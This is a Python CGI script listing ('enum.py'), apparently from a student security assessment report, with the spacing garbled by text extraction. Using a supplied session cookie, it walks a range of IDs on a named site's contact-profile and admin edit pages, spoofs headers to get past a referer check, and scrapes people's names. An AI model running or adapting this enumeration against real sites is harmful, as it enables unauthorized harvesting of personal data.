Download R - OS3 Website
Transcript
Listing 6: enum.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# ! / usr / bin / python
import sys
import urllib
import urllib2
import cgi # gives CGI script functionality
import cgitb # detailed error reporting
cgitb . enable () # reports will be shown in the browser
import re # regex
# ## configuration ###
form = cgi . FieldStorage ()
cookie = form . getvalue ( ’ cookie ’ , ’ ’)
start_id = int ( form . getvalue ( ’ start_id ’ , ’ ’) )
stop_id = int ( form . getvalue ( ’ stop_id ’ , ’ ’) )
full = form . getvalue ( ’ full ’)
user_agent = ’ Mozilla /4.0 ( compatible ; MSIE 5.5; Windows NT ) ’
origin_req_host = ’ security . irp . nl ’ # circomvent referer check
headers = { ’ User - Agent ’ : user_agent , ’ Cookie ’ : cookie }
data = None
# ## functions ###
def enumProfiles () :
global cookie
global start_id
global stop_id
global headers
global origin_req_host
global full
# loop to generate all the URLS
# e . g . http :// security . irp . nl / perslink / contact /1202/ details . web
for id in range ( start_id , stop_id +1) :
# generate url
page = form . getvalue ( ’ page ’)
version = form . getvalue ( ’ version ’)
url = ’ ’
if version == " old " :
url = ’ http :// security . irp . nl / perslink ’
if version == " new " :
url = ’ http ://145.100.105.201/ perslink ’
if page == " admin " :
url = url + ’ /12345678900/ contact / ’ + str ( id ) + ’/
edit . web ’
if page == " user " :
url = url + ’/ contact / ’ + str ( id ) + ’/ details . web ’
# request the URL
page = openURL ( url , data , headers , origin_req_host )
# print the page
if not full :
# filter out the name
if page == " user " :
for i in page . split ( ’ </ h3 > ’) :
if ’ < h3 style =" margin - top : 5 px ; margin - bottom : 3 px
;" > ’ in i :
part = i . split ( ’ < h3 style =" margin - top : 5 px ;
margin - bottom : 3 px ;" > ’) [1]
name = part . split ( ’ - ’) [0]
page = ’ <div > ’ + name + ’ </ div > ’
print page